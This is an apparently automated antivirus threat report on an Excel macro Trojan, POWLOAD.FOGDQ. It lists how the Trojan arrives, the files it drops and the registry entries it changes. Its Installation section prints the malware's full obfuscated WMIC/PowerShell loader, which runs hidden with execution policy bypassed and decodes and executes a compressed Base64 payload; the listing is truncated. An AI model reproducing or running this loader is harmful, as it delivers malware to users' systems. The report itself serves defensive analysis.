Trojan.X97M.POWLOAD.FOGDQ

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• wMIC 'PrOCEsS' CaLL 'CREaTe' "POwErshelL -NoP -NoninTeRacTiV -win 001 -Exe BYPASS SV ('9J') ( ([CHaR]34).ToSTriNg() ) ;Sv N7A ([StrinG][CHAR]44) ; & ( $pShOME[4]+$pshoMe[30]+'X')("\"&(${9J}{0}{1}${9J} -f 's'${N7A}'al') ('I') (${9J}{1}{2}{0}${9J}-f'ct'${N7A}(${9J}{1}{0}${9J}-f'w-'${N7A}'Ne')${N7A}(${9J}{0}{1}${9J} -f'Ob'${N7A}'je'));&(${9J}{1}{0}${9J}-f'et-ItEM'${N7A}'s') vaRIAbLe:rEyQ ([TyPe](${9J}{0}{3}{1}{2}${9J}-f 'S'${N7A}'teM.CoNV'${N7A}'ErT'${N7A}'Ys') ) ; `${5`ZMI} = [TyPE](${9J}{1}{9}{5}{8}{4}{6}{3}{7}{10}{0}{2}${9J}-F 'd'${N7A}'s'${N7A}'e'${N7A}'SSiO'${N7A}'O'${N7A}'sTe'${N7A}'N.COmPre'${N7A}'Nm'${N7A}'M.IO.cOmPressI'${N7A}'Y'${N7A}'o'); .('sv') ('6'+'1z') ( [Type](${9J}{1}{0}{2}{3}{4}${9J}-f 't.'${N7A}'TEX'${N7A}'enC'${N7A}'Od'${N7A}'ing') );. ((&(${9J}{0}{1}{2}${9J}-f 'v'${N7A}'aRiAB'${N7A}'Le') (${9J}{1}{0}${9J} -f 'mdr*'${N7A}'*')).${9J}nA`mE${9J}[3${N7A}11${N7A}2]-JoIn'')( &('i') (${9J}{0}{1}{8}{6}{4}{2}{5}{3}{7}${9J} -f'sYSTe'${N7A}'M.Io.c'${N7A}'SIon.De'${N7A}'tEstReA'${N7A}'PREs'${N7A}'flA'${N7A}'M'${N7A}'m'${N7A}'O')([IO.memOrySTReAM] `${R`EYq}::(${9J}{3}{1}{0}{2}${9J} -f 'in'${N7A}'rOmBAsE64stR'${N7A}'g'${N7A}'f').Invoke((${9J}{7}{33}{35}{3}{39}{15}{6}{5}{23}{4}{29}{22}{30}{14}{32}{27}{36}{9}{19}{10}{42}{34}{13}{1}{38}{40}{0}{41}{18}{24}{21}{28}{25}{37}{12}{2}{16}{26}{17}{20}{8}{31}{11}${9J}-f'DTDSkcpvDpFny7QP4pAn8E'${N7A}'F27k'${N7A}'IrNfRC'${N7A}'fTiIsiLoi4JAySn8AnvBeFkZ8QavM8zdGAshxdwQv3bygj5l6EoEwfN'${N7A}'txAzf+dO6XD'${N7A}'UfDZp7xUwJyZtFWiW1uT7kL8rwJT9svK6RXuODefb8FsNDqZQqqwM3l'${N7A}'bQBIOQ0jKyXsjx5QuxSew/O'${N7A}'ZVaLcto6EP0VjYdWVgGHZ0jJMHNJYgjNs+DQMtzMtQsG3ICdg'${N7A}'u/ZOn7CkCfyOSoViAf6KcsqcwEoLtUlmrpyS9EhqFU7'${N7A}'3ViWGkLbXTVX9F0lSGWZ++gBq4Q9u/cJxtvMHMHgrG/4O8nyuJhPwrGjypwln7eD8egofn8jBh03NtX9+5KYvCflFSB3SYrpARawzA6UU+Cduv24QCYNDYlgzFxCkaSNmQyaEq2OgJ'${N7A}'m+rZg8TiC/FuLRv53FISm+bV'${N7A}'IlFeRLKS5MgRyV4IM/aWNO/UrPbTfRHY/8l+aqXUMro2VEnfNtiwUs0VS7lS7TH/DUYGStn/'${N7A}'pH4n+MdAmSEUFbuLea8IpR3YRkz12+O7WXPSIW1OVYcgqGCdMZQpcvsYaVb00K/Kxy6zDfV3L'${N7A}'j5n0Lt04JunU4XytEhjQ8TA6RUk5i2AFOZ2J'${N7A}'z2+DMLpI8nEs4HIZeKpeykaxs1F1WAxrOGXZYJ7j'${N7A}'fl2tSwtyfXpbgA0flo3xtQHaCBnywbP9CFIVEddEfCyUmriMPsUnIq6CN62kFmWptPdzYJ13B8+gN4Kfg+5yeCRPEHo5sGhOu117ia7fUwbyTW2Pzpo92Lv8oIT7C1jvvffUTkkkbsxhZ7aghxN4IFp2YHkq'${N7A}'Il3E6UKKKxU1Oe/CBFws7aaIqoi/bhWbqVk9sSK9'${N7A}'kGULuyaALAUfZmpuZ6S9nURAYKR3lj8fJkE536D6+dw7qiKN73t5O'${N7A}'ValCaPMMhK6xHdSdZGtOxWm6OFF0BAmD9C5r9voBazZVUnqNarzlPyODe6Mt2pj54a6E8KbBk8jRfyHomXjjXkA2AQK'${N7A}'VvahpZzlCw6BiskvFGTeHq30'${N7A}'ZX0'${N7A}'M80ayYbcf3oCFsYALdXFIgsPcKC+OUGQu9/SO5pKk4GDCchLHmJMjLFWjEb8MydYrYXkSOYnkz485Ufo5EO5st3qLZ96aHPCSK5C'${N7A}'uKR76DiG3WDfnMJV+jQrBYF72yOCVHnqUwhOvLoxuLERnWIJpGJ4wzuJQ5bCFt06m9ArgvphY621uGI'${N7A}'hcdwFsbhyQ'${N7A}'WDjkFyDBpaS5dWv5Ia5I0xEZwHn3szDipOMAl2KRMiRxk77gj9kVQJPmXdeBzhPpMpgBAN+Pw4'${N7A}'/mQ7qO0xThVR8h2CEk4xvyXjr3dTYIgaoFMCdEybBemXShX2qx7GYOc3sstKssscfJVkunG/y1bLe3LdFkMkgDsuHpkqjp8vUBr+i4IEbrl5kfJXYBnPD5K'${N7A}'+YFUCazA'${N7A}'lMrE9DQvja1GvpzIQgulxqT1Hz0HWMgL3th+5T75hZuI2XBCWzt3o5v7BdexZc3VpmAAj5Fi7c6jrQ1W9eimHAligv+YYgy4WsG1k9WSqw/6kUJPxAVt9tzlf2'${N7A}'kHu2r2XBaG3gTDVWDzZvk/Q'${N7A}'hcRDCdjiS2DLGCDhFiKXpSB5SIKEHP'${N7A}'B1FIuDszh'${N7A}'x4I8gNWSDShSmm2O82nGFMs3paKNf4qiGclZh6+wBpluH6JLRG1Yokc3pJtKZDnHUmeYYoVi+1nHMYdscUhJqOqzsymeaPvkW'${N7A}'CTSC8GtoKMqPcviEHP0CnTKAkEEMekOAJYPrm9kUHP0fQXpYzkq/WWI9XQIU/k5BcmzdSBlx4jpksK'${N7A}'EhIXf373ZV4WM5McGxptb'${N7A}'Jw2KLx'${N7A}'s6u3t2yW'${N7A}'0a9bqwdt'${N7A}'Netdqt1hbP3xt8'${N7A}'iEYB3n5eiEYCaerNEdUg4FLu8k9iVyMJ6cD+VBBiZo3RxBIfkTz9X'${N7A}'rwuyGST67T5C9bn'${N7A}'TRK8G/sdkSDjgAm+PC3V0mWddJzHdr1EkuAY3dR2otY9xPvcJd9oJ0eIBp8E0gujtu5Eo1M3HF/i9NgAhvc7TwJkl94f'${N7A}'blKiVDPu4o5BESn1tdnVK'${N7A}'mWcVSif21EhWMpNT2dZKSBdb1PpBUhBwFEEAU8ufROuSkvAdtNPOWjwiEYOJtFsx904QtPqPMRB/wSBjxefDkE/qFZsFD1xfsdOnz9TIkKI')) ${N7A} ( &(${9J}{1}{2}{0}${9J}-f'Ble'${N7A}'gET'${N7A}'-vaRIA') ('5zM'+'i') -vaLUEOnL )::${9J}DECO`Mpr`ESs${9J})| .('%'){ &('I') (${9J}{0}{1}{2}${9J} -f'IO'${N7A}'.StreAmReA'${N7A}'dEr')(`$

Other System Modifications

This Trojan modifies the following file(s):

• %Application Data%\Microsoft\Office\Excel12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

Dropping Routine

This Trojan drops the following files:

• {malware file path and name}
• %Application Data%\Microsoft\Office\Excel12.pip
• %User Temp%\7325676.od
• %AppDataLocal%\GDIPFONTCACHEV1.DAT

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

This report is generated via an automated analysis system.